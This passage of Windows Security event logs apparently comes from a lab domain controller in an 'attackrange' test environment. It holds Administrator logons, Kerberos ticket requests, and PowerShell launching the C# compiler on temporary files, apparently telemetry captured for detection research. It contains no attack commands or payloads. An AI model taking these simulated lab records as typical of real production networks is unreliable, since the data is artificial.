	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252995
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{9C3A0786-1CD4-A3A1-9082-1792EACCF1B2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252994
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252993
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C16

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252992
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C16

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252991
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C16
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{9C3A0786-1CD4-A3A1-9082-1792EACCF1B2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252990
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{9C3A0786-1CD4-A3A1-9082-1792EACCF1B2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252989
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{9C3A0786-1CD4-A3A1-9082-1792EACCF1B2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252988
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252987
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1834FD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252986
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x182DF6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252985
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181BB6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252984
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfdc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10e4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESA04E.tmp" "c:\Users\Administrator\AppData\Local\Temp\yahv4kuc\CSCEE0255C22404A30805834C11691645E.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252983
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x121c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\yahv4kuc\yahv4kuc.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252982
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x183718
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64664

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252981
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183718

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252980
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1064
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES9F25.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC8D17EC4A4C554771B6D51440E56D9F46.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252979
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1834FD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252978
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1834FD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{9C3A0786-1CD4-A3A1-9082-1792EACCF1B2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252977
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{9C3A0786-1CD4-A3A1-9082-1792EACCF1B2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252976
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{9C3A0786-1CD4-A3A1-9082-1792EACCF1B2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252975
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252974
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1278
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x121c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\f4w24tfs.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253028
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x183C8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1028
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xff4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\jvgdwpmb.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253027
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x185428

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253026
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x185428
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B90453B2-FC94-FF53-F1A0-C2D85BF8603A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253025
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

